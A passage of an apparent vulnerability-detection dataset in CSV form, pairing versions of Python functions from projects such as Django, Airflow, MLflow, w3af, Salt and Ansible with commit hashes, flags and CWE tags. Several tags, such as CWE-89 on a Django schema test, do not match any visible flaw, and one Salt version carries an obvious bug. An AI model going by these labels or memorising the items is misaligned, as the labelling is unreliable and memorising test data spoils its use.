        self.job_runner._critical_section_enqueue_task_instances(session)
        session.flush()
        ti1.refresh_from_db(session=session)
        assert ti1.state == State.SCHEDULED
        session.rollback()",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_execute_task_instances_is_paused_wont_execute(self, session, dag_maker):
        dag_id = ""SchedulerJobTest.test_execute_task_instances_is_paused_wont_execute""
        task_id_1 = ""dummy_task""

        with dag_maker(dag_id=dag_id, session=session) as dag:
            EmptyOperator(task_id=task_id_1)
        assert isinstance(dag, SerializedDAG)

        scheduler_job = Job()
        self.job_runner = SchedulerJobRunner(job=scheduler_job, subdir=os.devnull)
        dr1 = dag_maker.create_dagrun(run_type=DagRunType.BACKFILL_JOB)
        (ti1,) = dr1.task_instances
        ti1.state = State.SCHEDULED

        self.job_runner._critical_section_enqueue_task_instances(session)
        session.flush()
        ti1.refresh_from_db(session=session)
        assert State.SCHEDULED == ti1.state
        session.rollback()"
,UNKNOWN,UNKNOWN,tests/inspectdb/tests.py,1,"def test_composite_primary_key(self):
        table_name = ""test_table_composite_pk""
        with connection.cursor() as cursor:
            cursor.execute(
                connection.features.create_test_table_with_composite_primary_key
            )
        out = StringIO()
        if connection.vendor == ""sqlite"":
            field_type = connection.features.introspected_field_types[""AutoField""]
        else:
            field_type = connection.features.introspected_field_types[""IntegerField""]
        try:
            call_command(""inspectdb"", table_name, stdout=out)
            output = out.getvalue()
            self.assertIn(
                ""pk = models.CompositePrimaryKey('column_1', 'column_2')"",
                output,
            )
            self.assertIn(f""column_1 = models.{field_type}()"", output)
            self.assertIn(
                ""column_2 = models.%s()""
                % connection.features.introspected_field_types[""IntegerField""],
                output,
            )
        finally:
            with connection.cursor() as cursor:
                cursor.execute(""DROP TABLE %s"" % table_name)",CWE-89,django/django,a8e4fd11efc65832e7d9f5582d3868c5c8bd8d88,"def test_composite_primary_key(self):
        table_name = ""test_table_composite_pk""
        with connection.cursor() as cursor:
            cursor.execute(
                connection.features.create_test_table_with_composite_primary_key
            )
        out = StringIO()
        if connection.vendor == ""sqlite"":
            field_type = connection.features.introspected_field_types[""AutoField""]
        else:
            field_type = connection.features.introspected_field_types[""IntegerField""]
        try:
            call_command(""inspectdb"", table_name, stdout=out)
            output = out.getvalue()
            self.assertIn(
                f""column_1 = models.{field_type}(primary_key=True)  # The composite ""
                f""primary key (column_1, column_2) found, that is not supported. The ""
                f""first column is selected."",
                output,
            )
            self.assertIn(
                ""column_2 = models.%s()""
                % connection.features.introspected_field_types[""IntegerField""],
                output,
            )
        finally:
            with connection.cursor() as cursor:
                cursor.execute(""DROP TABLE %s"" % table_name)"
,UNKNOWN,UNKNOWN,tests/schema/tests.py,1,"def test_remove_constraints_capital_letters(self):
        """"""
        #23065 - Constraint names must be quoted if they contain capital letters.
        """"""
        def get_field(*args, field_class=IntegerField, **kwargs):
            kwargs['db_column'] = ""CamelCase""
            field = field_class(*args, **kwargs)
            field.set_attributes_from_name(""CamelCase"")
            return field

        model = Author
        field = get_field()
        table = model._meta.db_table
        column = field.column
        identifier_converter = connection.introspection.identifier_converter

        with connection.schema_editor() as editor:
            editor.create_model(model)
            editor.add_field(model, field)

            constraint_name = 'CamelCaseIndex'
            expected_constraint_name = identifier_converter(constraint_name)
            editor.execute(
                editor.sql_create_index % {
                    ""table"": editor.quote_name(table),
                    ""name"": editor.quote_name(constraint_name),
                    ""using"": """",
                    ""columns"": editor.quote_name(column),
                    ""extra"": """",
                    ""condition"": """",
                    ""include"": """",
                }
            )
            self.assertIn(expected_constraint_name, self.get_constraints(model._meta.db_table))
            editor.alter_field(model, get_field(db_index=True), field, strict=True)
            self.assertNotIn(expected_constraint_name, self.get_constraints(model._meta.db_table))

            constraint_name = 'CamelCaseUniqConstraint'
            expected_constraint_name = identifier_converter(constraint_name)
            editor.execute(editor._create_unique_sql(model, [field.column], constraint_name))
            self.assertIn(expected_constraint_name, self.get_constraints(model._meta.db_table))
            editor.alter_field(model, get_field(unique=True), field, strict=True)
            self.assertNotIn(expected_constraint_name, self.get_constraints(model._meta.db_table))

            if editor.sql_create_fk:
                constraint_name = 'CamelCaseFKConstraint'
                expected_constraint_name = identifier_converter(constraint_name)
                editor.execute(
                    editor.sql_create_fk % {
                        ""table"": editor.quote_name(table),
                        ""name"": editor.quote_name(constraint_name),
                        ""column"": editor.quote_name(column),
                        ""to_table"": editor.quote_name(table),
                        ""to_column"": editor.quote_name(model._meta.auto_field.column),
                        ""deferrable"": connection.ops.deferrable_sql(),
                    }
                )
                self.assertIn(expected_constraint_name, self.get_constraints(model._meta.db_table))
                editor.alter_field(model, get_field(Author, CASCADE, field_class=ForeignKey), field, strict=True)
                self.assertNotIn(expected_constraint_name, self.get_constraints(model._meta.db_table))",CWE-89,django/django,8c7992f658e1125f8dc20b19206e8bbbe4187372,"def test_remove_constraints_capital_letters(self):
        """"""
        #23065 - Constraint names must be quoted if they contain capital letters.
        """"""
        def get_field(*args, field_class=IntegerField, **kwargs):
            kwargs['db_column'] = ""CamelCase""
            field = field_class(*args, **kwargs)
            field.set_attributes_from_name(""CamelCase"")
            return field

        model = Author
        field = get_field()
        table = model._meta.db_table
        column = field.column
        identifier_converter = connection.introspection.identifier_converter

        with connection.schema_editor() as editor:
            editor.create_model(model)
            editor.add_field(model, field)

            constraint_name = 'CamelCaseIndex'
            expected_constraint_name = identifier_converter(constraint_name)
            editor.execute(
                editor.sql_create_index % {
                    ""table"": editor.quote_name(table),
                    ""name"": editor.quote_name(constraint_name),
                    ""using"": """",
                    ""columns"": editor.quote_name(column),
                    ""extra"": """",
                    ""condition"": """",
                }
            )
            self.assertIn(expected_constraint_name, self.get_constraints(model._meta.db_table))
            editor.alter_field(model, get_field(db_index=True), field, strict=True)
            self.assertNotIn(expected_constraint_name, self.get_constraints(model._meta.db_table))

            constraint_name = 'CamelCaseUniqConstraint'
            expected_constraint_name = identifier_converter(constraint_name)
            editor.execute(editor._create_unique_sql(model, [field.column], constraint_name))
            self.assertIn(expected_constraint_name, self.get_constraints(model._meta.db_table))
            editor.alter_field(model, get_field(unique=True), field, strict=True)
            self.assertNotIn(expected_constraint_name, self.get_constraints(model._meta.db_table))

            if editor.sql_create_fk:
                constraint_name = 'CamelCaseFKConstraint'
                expected_constraint_name = identifier_converter(constraint_name)
                editor.execute(
                    editor.sql_create_fk % {
                        ""table"": editor.quote_name(table),
                        ""name"": editor.quote_name(constraint_name),
                        ""column"": editor.quote_name(column),
                        ""to_table"": editor.quote_name(table),
                        ""to_column"": editor.quote_name(model._meta.auto_field.column),
                        ""deferrable"": connection.ops.deferrable_sql(),
                    }
                )
                self.assertIn(expected_constraint_name, self.get_constraints(model._meta.db_table))
                editor.alter_field(model, get_field(Author, CASCADE, field_class=ForeignKey), field, strict=True)
                self.assertNotIn(expected_constraint_name, self.get_constraints(model._meta.db_table))"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/recipes/test_ingest_step.py,0,"def test_ingest_makes_spark_session_if_not_available_for_spark_based_dataset(spark_df, tmp_path):
    dataset_path = tmp_path / ""test.delta""
    spark_df.write.format(""delta"").save(str(dataset_path))

    with mock.patch(""mlflow.utils._spark_utils._get_active_spark_session"", return_value=None):
        IngestStep.from_recipe_config(
            recipe_config={
                ""target_col"": ""label"",
                ""steps"": {
                    ""ingest"": {
                        ""using"": ""delta"",
                        ""location"": str(dataset_path),
                    }
                },
            },
            recipe_root=os.getcwd(),
        ).run(output_directory=tmp_path)",,mlflow/mlflow,f432eff6e032022f50f852f331ef89ecc6209623,"def test_ingest_makes_spark_session_if_not_available_for_spark_based_dataset(spark_df, tmp_path):
    dataset_path = tmp_path / ""test.delta""
    spark_df.write.format(""delta"").save(str(dataset_path))

    with mock.patch(
        ""mlflow.utils._spark_utils._get_active_spark_session"",
    ) as _get_active_spark_session:
        _get_active_spark_session.return_value = None

        IngestStep.from_recipe_config(
            recipe_config={
                ""target_col"": ""label"",
                ""steps"": {
                    ""ingest"": {
                        ""using"": ""delta"",
                        ""location"": str(dataset_path),
                    }
                },
            },
            recipe_root=os.getcwd(),
        ).run(output_directory=tmp_path)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/prophet.py,0,"def save_model(
    pr_model,
    path,
    conda_env=None,
    code_paths=None,
    mlflow_model=None,
    signature: ModelSignature = None,
    input_example: ModelInputExample = None,
    pip_requirements=None,
    extra_pip_requirements=None,
    metadata=None,
):
    """"""
    Save a Prophet model to a path on the local file system.

    :param pr_model: Prophet model (an instance of Prophet() forecaster that has been fit
                     on a temporal series.
    :param path: Local path where the serialized model (as JSON) is to be saved.
    :param conda_env: {{ conda_env }}
    :param code_paths: A list of local filesystem paths to Python file dependencies (or directories
                       containing file dependencies). These files are *prepended* to the system
                       path when the model is loaded.
    :param mlflow_model: :py:mod:`mlflow.models.Model` this flavor is being added to.
    :param signature: :py:class:`ModelSignature <mlflow.models.ModelSignature>`
                      describes model input and output :py:class:`Schema <mlflow.types.Schema>`.
                      The model signature can be :py:func:`inferred <mlflow.models.infer_signature>`
                      from datasets with valid model input (e.g. the training dataset with target
                      column omitted) and valid model output (e.g. model predictions generated on
                      the training dataset), for example:

                      .. code-block:: python

                        from mlflow.models.signature import infer_signature

                        model = Prophet().fit(df)
                        train = model.history
                        predictions = model.predict(model.make_future_dataframe(30))
                        signature = infer_signature(train, predictions)
    :param input_example: Input example provides one or several instances of valid
                          model input. The example can be used as a hint of what data to feed the
                          model. The given example will be converted to a Pandas DataFrame and then
                          serialized to json using the Pandas split-oriented format. Bytes are
                          base64-encoded.
    :param pip_requirements: {{ pip_requirements }}
    :param extra_pip_requirements: {{ extra_pip_requirements }}
    :param metadata: Custom metadata dictionary passed to the model and stored in the MLmodel file.

                     .. Note:: Experimental: This parameter may change or be removed in a future
                                             release without warning.
    """"""
    import prophet

    _validate_env_arguments(conda_env, pip_requirements, extra_pip_requirements)

    path = os.path.abspath(path)
    _validate_and_prepare_target_save_path(path)
    code_dir_subpath = _validate_and_copy_code_paths(code_paths, path)

    if mlflow_model is None:
        mlflow_model = Model()
    if signature is not None:
        mlflow_model.signature = signature
    if input_example is not None:
        _save_example(mlflow_model, input_example, path)
    if metadata is not None:
        mlflow_model.metadata = metadata

    model_data_path = os.path.join(path, _MODEL_BINARY_FILE_NAME)
    _save_model(pr_model, model_data_path)

    model_bin_kwargs = {_MODEL_BINARY_KEY: _MODEL_BINARY_FILE_NAME}
    pyfunc.add_to_model(
        mlflow_model,
        loader_module=""mlflow.prophet"",
        conda_env=_CONDA_ENV_FILE_NAME,
        python_env=_PYTHON_ENV_FILE_NAME,
        code=code_dir_subpath,
        **model_bin_kwargs,
    )
    flavor_conf = {
        _MODEL_TYPE_KEY: pr_model.__class__.__name__,
        **model_bin_kwargs,
    }
    mlflow_model.add_flavor(
        FLAVOR_NAME,
        prophet_version=prophet.__version__,
        code=code_dir_subpath,
        **flavor_conf,
    )
    mlflow_model.save(os.path.join(path, MLMODEL_FILE_NAME))

    if conda_env is None:
        if pip_requirements is None:
            # cannot use inferred requirements due to prophet's build process
            # as the package installation of pystan requires Cython to be present
            # in the path. Prophet's installation itself requires imports of
            # existing libraries, preventing the execution of a batched pip install
            # and instead using a a strictly defined list of dependencies.
            # NOTE: if Prophet .whl build architecture is changed, this should be
            # modified to a standard inferred approach.
            default_reqs = get_default_pip_requirements()
        else:
            default_reqs = None
        conda_env, pip_requirements, pip_constraints = _process_pip_requirements(
            default_reqs,
            pip_requirements,
            extra_pip_requirements,
        )
    else:
        conda_env, pip_requirements, pip_constraints = _process_conda_env(conda_env)

    with open(os.path.join(path, _CONDA_ENV_FILE_NAME), ""w"") as f:
        yaml.safe_dump(conda_env, stream=f, default_flow_style=False)

    if pip_constraints:
        write_to(os.path.join(path, _CONSTRAINTS_FILE_NAME), ""\n"".join(pip_constraints))

    write_to(os.path.join(path, _REQUIREMENTS_FILE_NAME), ""\n"".join(pip_requirements))

    _PythonEnv.current().to_yaml(os.path.join(path, _PYTHON_ENV_FILE_NAME))",,mlflow/mlflow,985c3a13e8604d256cec7fae855d401a1650ca77,"def save_model(
    pr_model,
    path,
    conda_env=None,
    code_paths=None,
    mlflow_model=None,
    signature: ModelSignature = None,
    input_example: ModelInputExample = None,
    pip_requirements=None,
    extra_pip_requirements=None,
    metadata=None,
):
    """"""
    Save a Prophet model to a path on the local file system.

    :param pr_model: Prophet model (an instance of Prophet() forecaster that has been fit
                     on a temporal series.
    :param path: Local path where the serialized model (as JSON) is to be saved.
    :param conda_env: {{ conda_env }}
    :param code_paths: A list of local filesystem paths to Python file dependencies (or directories
                       containing file dependencies). These files are *prepended* to the system
                       path when the model is loaded.
    :param mlflow_model: :py:mod:`mlflow.models.Model` this flavor is being added to.
    :param signature: :py:class:`ModelSignature <mlflow.models.ModelSignature>`
                      describes model input and output :py:class:`Schema <mlflow.types.Schema>`.
                      The model signature can be :py:func:`inferred <mlflow.models.infer_signature>`
                      from datasets with valid model input (e.g. the training dataset with target
                      column omitted) and valid model output (e.g. model predictions generated on
                      the training dataset), for example:

                      .. code-block:: python

                        from mlflow.models.signature import infer_signature

                        model = Prophet().fit(df)
                        train = model.history
                        predictions = model.predict(model.make_future_dataframe(30))
                        signature = infer_signature(train, predictions)
    :param input_example: Input example provides one or several instances of valid
                          model input. The example can be used as a hint of what data to feed the
                          model. The given example will be converted to a Pandas DataFrame and then
                          serialized to json using the Pandas split-oriented format. Bytes are
                          base64-encoded.
    :param pip_requirements: {{ pip_requirements }}
    :param extra_pip_requirements: {{ extra_pip_requirements }}
    :param metadata: Custom metadata dictionary passed to the model and stored in the MLmodel file.

                     .. Note:: Experimental: This parameter may change or be removed in a future
                                             release without warning.
    """"""

    import prophet

    _validate_env_arguments(conda_env, pip_requirements, extra_pip_requirements)

    path = os.path.abspath(path)
    _validate_and_prepare_target_save_path(path)
    code_dir_subpath = _validate_and_copy_code_paths(code_paths, path)

    if mlflow_model is None:
        mlflow_model = Model()
    if signature is not None:
        mlflow_model.signature = signature
    if input_example is not None:
        _save_example(mlflow_model, input_example, path)
    if metadata is not None:
        mlflow_model.metadata = metadata

    model_data_path = os.path.join(path, _MODEL_BINARY_FILE_NAME)
    _save_model(pr_model, model_data_path)

    model_bin_kwargs = {_MODEL_BINARY_KEY: _MODEL_BINARY_FILE_NAME}
    pyfunc.add_to_model(
        mlflow_model,
        loader_module=""mlflow.prophet"",
        conda_env=_CONDA_ENV_FILE_NAME,
        python_env=_PYTHON_ENV_FILE_NAME,
        code=code_dir_subpath,
        **model_bin_kwargs,
    )
    flavor_conf = {
        _MODEL_TYPE_KEY: pr_model.__class__.__name__,
        **model_bin_kwargs,
    }
    mlflow_model.add_flavor(
        FLAVOR_NAME,
        prophet_version=prophet.__version__,
        code=code_dir_subpath,
        **flavor_conf,
    )
    mlflow_model.save(os.path.join(path, MLMODEL_FILE_NAME))

    if conda_env is None:
        if pip_requirements is None:
            # cannot use inferred requirements due to prophet's build process
            # as the package installation of pystan requires Cython to be present
            # in the path. Prophet's installation itself requires imports of
            # existing libraries, preventing the execution of a batched pip install
            # and instead using a a strictly defined list of dependencies.
            # NOTE: if Prophet .whl build architecture is changed, this should be
            # modified to a standard inferred approach.
            default_reqs = get_default_pip_requirements()
        else:
            default_reqs = None
        conda_env, pip_requirements, pip_constraints = _process_pip_requirements(
            default_reqs,
            pip_requirements,
            extra_pip_requirements,
        )
    else:
        conda_env, pip_requirements, pip_constraints = _process_conda_env(conda_env)

    with open(os.path.join(path, _CONDA_ENV_FILE_NAME), ""w"") as f:
        yaml.safe_dump(conda_env, stream=f, default_flow_style=False)

    if pip_constraints:
        write_to(os.path.join(path, _CONSTRAINTS_FILE_NAME), ""\n"".join(pip_constraints))

    write_to(os.path.join(path, _REQUIREMENTS_FILE_NAME), ""\n"".join(pip_requirements))

    _PythonEnv.current().to_yaml(os.path.join(path, _PYTHON_ENV_FILE_NAME))"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/context/tests/test_javascript.py,0,"def test_payload_break_single_line_comment(self):
        js_code = """"""
        foo();
        // PAYLOAD
        bar();
        """"""
        contexts = get_js_context(js_code, 'PAYLOAD')

        self.assertEqual(len(contexts), 1, contexts)
        context = contexts[0]

        self.assertIsInstance(context, ScriptSingleLineComment)
        self.assertFalse(context.is_executable())",,andresriancho/w3af,4deaabfd9900361f5b63fc320f4ac397a332605f,"def test_payload_break_single_line_comment(self):
        js_code = """"""
        foo();
        // PAYLOAD
        bar();
        """"""
        contexts = get_js_context(js_code, 'PAYLOAD')

        self.assertEqual(len(contexts), 1, contexts)
        context = contexts[0]

        self.assertIsInstance(context, ScriptSingleLineComment)
        self.assertFalse(context.is_executable())
        self.xss_plugin_can_break(context)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/parsers/utils/form_fields.py,0,"def __init__(self, name, values):
        super(ChooseFormField, self).__init__(None, name, None)
        self.values = values

        if values:
            self.value = values[0]",,andresriancho/w3af,90ba80b7fa5366ee20056e93d0cdf1e5e156debb,"def __init__(self, name, values):
        super(ChooseFormField, self).__init__(None, name, None)
        self.values = values"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/url/HTTPRequest.py,0,"def __init__(self, url, data=None, headers=Headers(),
                 origin_req_host=None, unverifiable=False,
                 cookies=True, cache=False, method=None,
                 error_handling=True, retries=MAX_HTTP_RETRIES,
                 timeout=socket._GLOBAL_DEFAULT_TIMEOUT, new_connection=False):
        """"""
        This is a simple wrapper around a urllib2 request object which helps
        with some common tasks like serialization, cache, etc.

        :param method: None means choose the default (POST if data is not None)
        :param data: The post_data as a string
        """"""
        #
        # Save some information for later access in an easier way
        #
        self.url_object = url
        self.cookies = cookies
        self.get_from_cache = cache
        self.error_handling = error_handling
        self.retries_left = retries
        self.timeout = timeout
        self.new_connection = new_connection

        self.method = method
        if self.method is None:
            self.method = 'POST' if data else 'GET'

        if isinstance(headers, Headers):
            headers.tokens_to_value()
            
        headers = dict(headers)

        # Call the base class constructor
        urllib2.Request.__init__(self, url.url_encode(), data,
                                 headers, origin_req_host, unverifiable)
        RequestMixIn.__init__(self)",,andresriancho/w3af,55ea1a3bc7b670f140712dc9bec5f9486317ab89,"def __init__(self, url, data=None, headers=Headers(),
                 origin_req_host=None, unverifiable=False,
                 cookies=True, cache=False, method=None,
                 error_handling=True, retries=MAX_HTTP_RETRIES,
                 timeout=socket._GLOBAL_DEFAULT_TIMEOUT):
        """"""
        This is a simple wrapper around a urllib2 request object which helps
        with some common tasks like serialization, cache, etc.

        :param method: None means choose the default (POST if data is not None)
        :param data: The post_data as a string
        """"""
        #
        # Save some information for later access in an easier way
        #
        self.url_object = url
        self.cookies = cookies
        self.get_from_cache = cache
        self.error_handling = error_handling
        self.retries_left = retries
        self.timeout = timeout

        self.method = method
        if self.method is None:
            self.method = 'POST' if data else 'GET'

        if isinstance(headers, Headers):
            headers.tokens_to_value()
            
        headers = dict(headers)

        # Call the base class constructor
        urllib2.Request.__init__(self, url.url_encode(), data,
                                 headers, origin_req_host, unverifiable)
        RequestMixIn.__init__(self)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/admin_views/test_nav_sidebar.py,0,"def test_sidebar_aria_current_page_missing_without_request_context_processor(self):
        url = reverse('test_with_sidebar:auth_user_changelist')
        response = self.client.get(url)
        self.assertContains(response, '<nav class=""sticky"" id=""nav-sidebar"">')
        # Does not include aria-current attribute.
        self.assertContains(response, '<a href=""%s"">Users</a>' % url)
        self.assertNotContains(response, 'aria-current')",CWE-Unknown,django/django,0aeb802cf054cb369646c871b53c93a83c1fa58a,"def test_sidebar_aria_current_page_missing_without_request_context_processor(self):
        url = reverse('test_with_sidebar:auth_user_changelist')
        response = self.client.get(url)
        self.assertContains(response, '<nav class=""sticky"" id=""nav-sidebar"">')
        # Does not include aria-current attribute.
        self.assertContains(response, '<a href=""%s"">Users</a>' % url)
        self.assertNotContains(response, 'aria-current')"
,UNKNOWN,UNKNOWN,task-sdk/tests/task_sdk/api/test_client.py,1,"def test_token_renewal(self):
        responses: list[httpx.Response] = [
            httpx.Response(200, json={""ok"": ""1""}),
            httpx.Response(404, json={""var"": ""not_found""}, headers={""Refreshed-API-Token"": ""abc""}),
            httpx.Response(200, json={""ok"": ""3""}),
        ]
        client = make_client_w_responses(responses)
        response = client.get(""/"")
        assert response.status_code == 200
        assert client.auth is not None
        assert not client.auth.token
        with pytest.raises(ServerResponseError):
            response = client.get(""/"")

        # Even thought it was Not Found, we should still respect the header
        assert client.auth is not None
        assert client.auth.token == ""abc""

        # Test that the next request is made with that new auth token
        response = client.get(""/"")
        assert response.status_code == 200
        assert response.request.headers[""Authorization""] == ""Bearer abc""",CWE-703,apache/airflow,0e7748602af8870edba2a982b584014e7f221eac,"def test_token_renewal(self):
        responses: list[httpx.Response] = [
            httpx.Response(200, json={""ok"": ""1""}),
            httpx.Response(404, json={""var"": ""not_found""}, headers={""Refreshed-API-Token"": ""abc""}),
            httpx.Response(200, json={""ok"": ""3""}),
        ]
        client = make_client_w_responses(responses)
        response = client.get(""/"")
        assert response.status_code == 200
        assert client.auth is not None
        assert not client.auth.token
        with pytest.raises(ServerResponseError):
            response = client.get(""/"")

        # Even thought it was Not Found, we should still respect the header
        assert client.auth is not None
        assert client.auth.token == ""abc""

        # Test that the next request is made with that new auth token
        response = client.get(""/"")
        assert response.status_code == 200
        assert response.request.headers[""Authorization""] == ""Bearer abc"""
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/mac_service.py,0,"def get_all():
    # This command is deprecated, however there is no new command in launchctl
    # to list daemons
    cmd = ['launchctl', 'list']
    ret = __salt__['cmd.run'](cmd)

    services = []
    for line in ret.splitlines():
        if line.split('\t')[2] != 'Label':
            services.append(line.split('\t')[2].strip())

    return services",,saltstack/salt,e97c0efbc8e7c99bf50dd91d3660804190f7aabf,"def get_all():
    # This command is deprecated, however there is no new command in launchctl
    # to list daemons
    cmd = ['launchctl', 'list']
    ret = __salt__['cmd.run'](cmd)

    services = []
    for line in ret.splitlines():
        if line.split('\t')[2] != 'Label':
            services.append = line.split('\t')[2].strip()

    return services"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/notebook/handlers.py,0,"def get(self, notebook_path):
        nbm = self.notebook_manager
        name, path = nbm.named_notebook_path(notebook_path)
        if name != None:
            name = nbm.url_encode(name)
        if path == None:
            project = self.project + '/' + name
        else:
            project = self.project + '/' + path +'/'+ name
            path = nbm.url_encode(path)
        if not nbm.notebook_exists(notebook_path):
            raise web.HTTPError(404, u'Notebook does not exist: %s' % name)
        self.write(self.render_template('notebook.html',
            project=project,
            notebook_path=path,
            notebook_name=name,
            kill_kernel=False,
            mathjax_url=self.mathjax_url,
            )
        )",,jupyter/notebook,1b2e41eea48b473bfdb996e2d5b2d95d1582581c,"def get(self, notebook_path):
        nbm = self.notebook_manager
        name, path = nbm.named_notebook_path(notebook_path)
        if name != None:
            name = quote(name)
        if path == None:
            project = self.project + '/' + name
        else:
            project = self.project + '/' + path +'/'+ name
        if not nbm.notebook_exists(notebook_path):
            raise web.HTTPError(404, u'Notebook does not exist: %s' % name)
        path = nbm.url_encode(path)
        name = nbm.url_encode(name)
        self.write(self.render_template('notebook.html',
            project=project,
            notebook_path=path,
            notebook_name=name,
            kill_kernel=False,
            mathjax_url=self.mathjax_url,
            )
        )"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/executor/task_executor.py,0,"def _execute(self, variables=None):
        '''
        The primary workhorse of the executor system, this runs the task
        on the specified host (which may be the delegated_to host) and handles
        the retry/until and block rescue/always execution
        '''

        if variables is None:
            variables = self._job_vars

        templar = Templar(loader=self._loader, variables=variables)

        context_validation_error = None

        # a certain subset of variables exist.
        tempvars = variables.copy()

        try:
            # TODO: remove play_context as this does not take delegation nor loops correctly into account,
            # the task itself should hold the correct values for connection/shell/become/terminal plugin options to finalize.
            #  Kept for now for backwards compatibility and a few functions that are still exclusive to it.

            # apply the given task's information to the connection info,
            # which may override some fields already set by the play or
            # the options specified on the command line
            self._play_context = self._play_context.set_task_and_variable_override(task=self._task, variables=variables, templar=templar)

            # fields set from the play/task may be based on variables, so we have to
            # do the same kind of post validation step on it here before we use it.
            self._play_context.post_validate(templar=templar)

            # now that the play context is finalized, if the remote_addr is not set
            # default to using the host's address field as the remote address
            if not self._play_context.remote_addr:
                self._play_context.remote_addr = self._host.address

            # We also add ""magic"" variables back into the variables dict to make sure
            self._play_context.update_vars(tempvars)

        except AnsibleError as e:
            # save the error, which we'll raise later if we don't end up
            # skipping this task during the conditional evaluation step
            context_validation_error = e

        no_log = self._play_context.no_log

        # Evaluate the conditional (if any) for this task, which we do before running
        # the final task post-validation. We do this before the post validation due to
        # the fact that the conditional may specify that the task be skipped due to a
        # variable not being present which would otherwise cause validation to fail
        try:
            conditional_result, false_condition = self._task.evaluate_conditional_with_result(templar, tempvars)
            if not conditional_result:
                display.debug(""when evaluation is False, skipping this task"")
                return dict(changed=False, skipped=True, skip_reason='Conditional result was False',
                            false_condition=false_condition, _ansible_no_log=no_log)
        except AnsibleError as e:
            # loop error takes precedence
            if self._loop_eval_error is not None:
                # Display the error from the conditional as well to prevent
                # losing information useful for debugging.
                display.v(to_text(e))
                raise self._loop_eval_error  # pylint: disable=raising-bad-type
            raise

        # Not skipping, if we had loop error raised earlier we need to raise it now to halt the execution of this task
        if self._loop_eval_error is not None:
            raise self._loop_eval_error  # pylint: disable=raising-bad-type

        # if we ran into an error while setting up the PlayContext, raise it now, unless is known issue with delegation
        # and undefined vars (correct values are in cvars later on and connection plugins, if still error, blows up there)
        if context_validation_error is not None:
            raiseit = True
            if self._task.delegate_to:
                if isinstance(context_validation_error, AnsibleUndefinedVariable):
                    raiseit = False
                elif isinstance(context_validation_error, AnsibleParserError):
                    # parser error, might be cause by undef too
                    orig_exc = getattr(context_validation_error, 'orig_exc', None)
                    if isinstance(orig_exc, AnsibleUndefinedVariable):
                        raiseit = False
            if raiseit:
                raise context_validation_error  # pylint: disable=raising-bad-type

        # set templar to use temp variables until loop is evaluated
        templar.available_variables = tempvars

        # if this task is a TaskInclude, we just return now with a success code so the
        # main thread can expand the task list for the given host
        if self._task.action in C._ACTION_ALL_INCLUDE_TASKS:
            include_args = self._task.args.copy()
            include_file = include_args.pop('_raw_params', None)
            if not include_file:
                return dict(failed=True, msg=""No include file was specified to the include"")

            include_file = templar.template(include_file)
            return dict(include=include_file, include_args=include_args)

        # if this task is a IncludeRole, we just return now with a success code so the main thread can expand the task list for the given host
        elif self._task.action in C._ACTION_INCLUDE_ROLE:
            include_args = self._task.args.copy()
            return dict(include_args=include_args)

        # Now we do final validation on the task, which sets all fields to their final values.
        try:
            self._task.post_validate(templar=templar)
        except AnsibleError:
            raise
        except Exception:
            return dict(changed=False, failed=True, _ansible_no_log=no_log, exception=to_text(traceback.format_exc()))
        if '_variable_params' in self._task.args:
            variable_params = self._task.args.pop('_variable_params')
            if isinstance(variable_params, dict):
                if C.INJECT_FACTS_AS_VARS:
                    display.warning(""Using a variable for a task's 'args' is unsafe in some situations ""
                                    ""(see https://docs.ansible.com/ansible/devel/reference_appendices/faq.html#argsplat-unsafe)"")
                variable_params.update(self._task.args)
                self._task.args = variable_params
            else:
                # if we didn't get a dict, it means there's garbage remaining after k=v parsing, just give up
                # see https://github.com/ansible/ansible/issues/79862
                raise AnsibleError(f""invalid or malformed argument: '{variable_params}'"")

        # update no_log to task value, now that we have it templated
        no_log = self._task.no_log

        # free tempvars up, not used anymore, cvars and vars_copy should be mainly used after this point
        # updating the original 'variables' at the end
        tempvars = {}

        # setup cvars copy, used for all connection related templating
        if self._task.delegate_to:
            # use vars from delegated host (which already include task vars) instead of original host
            cvars = variables.get('ansible_delegated_vars', {}).get(self._task.delegate_to, {})
        else:
            # just use normal host vars
            cvars = variables

        templar.available_variables = cvars

        # use magic var if it exists, if not, let task inheritance do it's thing.
        if cvars.get('ansible_connection') is not None:
            current_connection = templar.template(cvars['ansible_connection'])
        else:
            current_connection = self._task.connection

        # get the connection and the handler for this execution
        if (not self._connection or
                not getattr(self._connection, 'connected', False) or
                not self._connection.matches_name([current_connection]) or
                # pc compare, left here for old plugins, but should be irrelevant for those
                # using get_option, since they are cleared each iteration.
                self._play_context.remote_addr != self._connection._play_context.remote_addr):
            self._connection = self._get_connection(cvars, templar, current_connection)
        else:
            # if connection is reused, its _play_context is no longer valid and needs
            # to be replaced with the one templated above, in case other data changed
            self._connection._play_context = self._play_context
            self._set_become_plugin(cvars, templar, self._connection)

        plugin_vars = self._set_connection_options(cvars, templar)

        # make a copy of the job vars here, as we update them here and later,
        # but don't want to pollute original
        vars_copy = variables.copy()
        # update with connection info (i.e ansible_host/ansible_user)
        self._connection.update_vars(vars_copy)
        templar.available_variables = vars_copy

        # TODO: eventually remove as pc is taken out of the resolution path
        # feed back into pc to ensure plugins not using get_option can get correct value
        self._connection._play_context = self._play_context.set_task_and_variable_override(task=self._task, variables=vars_copy, templar=templar)

        # for persistent connections, initialize socket path and start connection manager
        if any(((self._connection.supports_persistence and C.USE_PERSISTENT_CONNECTIONS), self._connection.force_persistence)):
            self._play_context.timeout = self._connection.get_option('persistent_command_timeout')
            display.vvvv('attempting to start connection', host=self._play_context.remote_addr)
            display.vvvv('using connection plugin %s' % self._connection.transport, host=self._play_context.remote_addr)

            options = self._connection.get_options()
            socket_path = start_connection(self._play_context, options, self._task._uuid)
            display.vvvv('local domain socket path is %s' % socket_path, host=self._play_context.remote_addr)
            setattr(self._connection, '_socket_path', socket_path)

